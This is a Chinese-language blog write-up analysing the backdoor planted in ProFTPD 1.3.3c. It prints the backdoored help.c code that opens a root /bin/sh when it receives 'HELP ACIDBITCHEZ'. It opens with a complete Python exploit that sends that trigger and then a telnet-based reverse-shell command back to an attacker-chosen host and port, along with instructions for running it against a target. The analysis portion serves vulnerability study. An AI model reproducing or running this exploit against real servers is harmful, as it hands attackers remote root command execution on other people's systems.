Proftpd-1.3.3c后门分析

作者:k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


Proftpd-1.3.3c含后门的软件下载我忘了在哪下载的了,百度应该是搜不到,去google试试,我记得是在类似sourceforge下载的。

PoC:

#!/usr/bin/python
#coding:utf-8
#author:k0shl
import socket
import os

def exp_socket(RHOST,s):
    try:
        s.connect((RHOST,21))
        str = s.recv(1024)
        print str
        return str
    except Exception,e:
        print e
        return 0

def exploit(RHOST,s,cmd):
    try:
        s.send('HELP ACIDBITCHEZ\r\n')
        s.send(cmd)
        print "[+]Exploit send ok!"
    except Exception,e:
        print e
if __name__ == '__main__':
    try:
        print "攻击前请使用nc绑定端口,等待shell连接"
        LHOST = raw_input("input shell ip:")
        LPORT = raw_input("input shell port:")
        RHOST = raw_input("input target ip:")
        #LHOST = '172.16.39.141'
        #LPORT = '4444'
        #RHOST = '172.16.39.137'
        print '[+]start connect to %s'%RHOST
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        socket_result = exp_socket(RHOST,s)
        if socket_result != 0:
            if '220' in socket_result:
                print '[+]Try to Exploit'
                cmd = "nohup sh -c '(sleep 4184|telnet "+ LHOST + " " + LPORT +"|while : ; do sh && break; done 2>&1|telnet "+LHOST + " "+LPORT+">/dev/null 2>&1 &)' >/dev/null 2>&1\n"
                exploit(RHOST,s,cmd)
                s.close()
            else:
                print '[-]no vul!'
                s.close()
        else:
            print '[-]connect to ip error!'
            s.close()
    except Exception,e:
        s.close()
        print e

直接运行PoC,指定好回弹shell的ip地址和端口,然后指定好要攻击的proftpd的目标地址,然后运行即可。


漏洞复现


此漏洞是由于proFTPd在HELP参数中预制了一个后门,在用户执行HELP后,help.c的某函数会对HELP命令后的参数进行一次检查,如果与后门参数相同,则会执行一个/bin/sh的shell,使连接用户获得执行权限。下面从漏洞复现到分析讲解整个过程。

首先,运行我提交的poc,并在本地用nc -l -p -vv PORT监听端口,这时候在靶机中利用ps -ef命令可以观察到shell已经被执行。

这时候观察攻击机的nc,发现我在poc中的恶意代码已经执行,将会利用shell执行权限回弹一个shell。

通过wireshark抓包分析一下整个过程。

首先,正常连接到21端口之后,会直接发送一个HELP ACIDBITCHEZ的指令,这个指令发送之后,会获得一个shell的权限,接下来。

将会推送执行反弹shell的命令写入并执行,导致获得目标系统的操作权限。


漏洞分析


问题出现在proFTPd的help.c文件中,在此之前,来看一下mod_core.c中,定义了一个结构体数组。

static cmdtable core_cmdtab[] = {
#if defined(HAVE_REGEX_H) && defined(HAVE_REGCOMP)
  { PRE_CMD, C_ANY, G_NONE,  regex_filters, FALSE, FALSE, CL_NONE },
#endif
  { PRE_CMD, C_ANY, G_NONE, core_clear_fs,FALSE, FALSE, CL_NONE },
  { CMD, C_HELP, G_NONE,  core_help,    FALSE,  FALSE, CL_INFO },
  { CMD, C_PORT, G_NONE,  core_port,    TRUE,   FALSE, CL_MISC },
  { CMD, C_PASV, G_NONE,  core_pasv,    TRUE,   FALSE, CL_MISC },
  { CMD, C_EPRT, G_NONE,  core_eprt,    TRUE,   FALSE, CL_MISC },
  { CMD, C_EPSV, G_NONE,  core_epsv,    TRUE,   FALSE, CL_MISC },
  { CMD, C_SYST, G_NONE,  core_syst,    FALSE,  FALSE, CL_INFO },
  { CMD, C_PWD,  G_DIRS,  core_pwd, TRUE,   FALSE, CL_INFO|CL_DIRS },
  { CMD, C_XPWD, G_DIRS,  core_pwd, TRUE,   FALSE, CL_INFO|CL_DIRS },
  { CMD, C_CWD,  G_DIRS,  core_cwd, TRUE,   FALSE, CL_DIRS },
  { CMD, C_XCWD, G_DIRS,  core_cwd, TRUE,   FALSE, CL_DIRS },
  { CMD, C_MKD,  G_WRITE, core_mkd, TRUE,   FALSE, CL_DIRS|CL_WRITE },
  { CMD, C_XMKD, G_WRITE, core_mkd, TRUE,   FALSE, CL_DIRS|CL_WRITE },
  { CMD, C_RMD,  G_WRITE, core_rmd, TRUE,   FALSE, CL_DIRS|CL_WRITE },
  { CMD, C_XRMD, G_WRITE, core_rmd, TRUE,   FALSE, CL_DIRS|CL_WRITE },
  { CMD, C_CDUP, G_DIRS,  core_cdup,    TRUE,   FALSE, CL_DIRS },
  { CMD, C_XCUP, G_DIRS,  core_cdup,    TRUE,   FALSE, CL_DIRS },
  { CMD, C_DELE, G_WRITE, core_dele,    TRUE,   FALSE, CL_WRITE },
  { CMD, C_MDTM, G_DIRS,  core_mdtm,    TRUE,   FALSE, CL_INFO },
  { CMD, C_RNFR, G_DIRS,  core_rnfr,    TRUE,   FALSE, CL_MISC|CL_WRITE },
  { CMD, C_RNTO, G_WRITE, core_rnto,    TRUE,   FALSE, CL_MISC|CL_WRITE },
  { LOG_CMD,     C_RNTO, G_NONE, core_rnto_cleanup, TRUE, FALSE, CL_NONE },
  { LOG_CMD_ERR, C_RNTO, G_NONE, core_rnto_cleanup, TRUE, FALSE, CL_NONE },
  { CMD, C_SIZE, G_READ,  core_size,    TRUE,   FALSE, CL_INFO },
  { CMD, C_QUIT, G_NONE,  core_quit,    FALSE,  FALSE,  CL_INFO },
  { LOG_CMD,     C_QUIT, G_NONE, core_log_quit, FALSE, FALSE },
  { LOG_CMD_ERR, C_QUIT, G_NONE, core_log_quit, FALSE, FALSE },
  { CMD, C_NOOP, G_NONE,  core_noop,    FALSE,  FALSE,  CL_MISC },
  { CMD, C_FEAT, G_NONE,  core_feat,    FALSE,  FALSE,  CL_INFO },
  { CMD, C_OPTS, G_NONE,  core_opts,    FALSE,  FALSE,  CL_MISC },
  { POST_CMD, C_PASS, G_NONE, core_post_pass, FALSE, FALSE },
  { 0, NULL }
};

其中有一行值得关注

{ CMD, C_HELP, G_NONE,  core_help,  FALSE,  FALSE, CL_INFO }

关于C_HELP的定义在ftp.h文件中。

#define C_HELP  "HELP"      /* Help */

这是HELP命令的一个定义,接下来程序会对cmd命令进行一次判断,如果符合C_HELP的判断,就会执行core_help函数,其中对help命令的格式定义是这样的。

  pr_help_add(C_HELP, "[<sp> command]", TRUE)

command就是HELP后面要跟的命令,接下来来看一下core_help函数

MODRET core_help(cmd_rec *cmd) {

  if (cmd->argc == 1) {
    pr_help_add_response(cmd, NULL);

  } else {
    char *cp;

    for (cp = cmd->argv[1]; *cp; cp++)
      *cp = toupper(*cp);

    if (strcasecmp(cmd->argv[1], "SITE") == 0)
      return pr_module_call(&site_module, site_dispatch, cmd);

    if (pr_help_add_response(cmd, cmd->argv[1]) == 0)
      return PR_HANDLED(cmd);

    pr_response_add_err(R_502, _("Unknown command '%s'"), cmd->argv[1]);
    return PR_ERROR(cmd);
  }

  return PR_HANDLED(cmd);
}

重点在于if语句中

   if (pr_help_add_response(cmd, cmd->argv[1]) == 0)
      return PR_HANDLED(cmd);

这里会将cmd的参数传入pr_help_add_response函数,这个函数主要用于处理HELP函数的参数,而后门就在这个函数中,函数位于help.c中,来看一下这个函数的内容。

void pr_help_add(const char *cmd, const char *syntax, int impl) {
  struct help_rec *help;

  if (!cmd || !syntax)
    return;

  /* If no list has been allocated, create one. */
  if (!help_pool) {
    help_pool = make_sub_pool(permanent_pool);
    pr_pool_tag(help_pool, "Help Pool");
    help_list = make_array(help_pool, 0, sizeof(struct help_rec));
  }

  /* Make sure that the command being added isn't already in the list.
   * However, if it _is_ already in the list, but it's marked as not
   * implemented, _and_ the given impl flag is TRUE, then handle it
   * accordingly.
   */
  if (help_list->nelts > 0) {
    register unsigned int i = 0;
    struct help_rec *helps = help_list->elts;

    for (i = 0; i < help_list->nelts; i++)
      if (strcmp(helps[i].cmd, cmd) == 0) {
        if (helps[i].impl == FALSE &&
            impl == TRUE) {
          helps[i].impl = impl;
        }

        return;
      }
  }

  help = push_array(help_list);
  help->cmd = pstrdup(help_pool, cmd);
  help->syntax = pstrdup(help_pool, syntax);
  help->impl = impl;
}

int pr_help_add_response(cmd_rec *cmd, const char *target) {
  if (help_list) {
    register unsigned int i;
    struct help_rec *helps = help_list->elts;
    char *outa[8], *outstr;
    char buf[9] = {'\0'};
    int col = 0;

    if (!target) {
      pr_response_add(R_214,
        _("The following commands are recognized (* =>'s unimplemented):"));

      memset(outa, '\0', sizeof(outa));

      for (i = 0; i < help_list->nelts; i++) {
        outstr = "";

        if (helps[i].impl)
          outa[col++] = (char *) helps[i].cmd;
        else
          outa[col++] = pstrcat(cmd->tmp_pool, helps[i].cmd, "*", NULL);

        /* 8 rows */
        if ((i + 1) % 8 == 0 ||
            helps[i+1].cmd == NULL) {
          register unsigned int j;

          for (j = 0; j < 8; j++) {
            if (outa[j]) {
              snprintf(buf, sizeof(buf), "%-8s", outa[j]);
              buf[sizeof(buf)-1] = '\0';
              outstr = pstrcat(cmd->tmp_pool, outstr, buf, NULL);

            } else
              break;
          }

          if (*outstr)
            pr_response_add(R_DUP, "%s", outstr);

          memset(outa, '\0', sizeof(outa));
          col = 0;
          outstr = "";
        }
      }

      pr_response_add(R_DUP, _("Direct comments to %s"),
        cmd->server->ServerAdmin ? cmd->server->ServerAdmin : "ftp-admin");

    } else {

    if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }
      /* List the syntax for the given target command. */
      for (i = 0; i < help_list->nelts; i++) {
        if (strcasecmp(helps[i].cmd, target) == 0) {
          pr_response_add(R_214, "Syntax: %s %s", helps[i].cmd,
            helps[i].syntax);
          return 0;
        }
      }
    }

    errno = ENOENT;
    return -1;
  }

  errno = ENOENT;
  return -1;
}

同样在这个函数的结尾部分,有一处“多出来”的if语句判断

    if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }
      /* List the syntax for the given target command. */
      for (i = 0; i < help_list->nelts; i++) {
        if (strcasecmp(helps[i].cmd, target) == 0) {
          pr_response_add(R_214, "Syntax: %s %s", helps[i].cmd,
            helps[i].syntax);
          return 0;
        }

这里会判断target的值,而target的值就是传入的参数,如果这个参数等于ACIDBITCHEZ的时候,就会执行/bin/sh,开放shell,导致可以执行系统命令,获得系统执行权限。

Comments
Write a Comment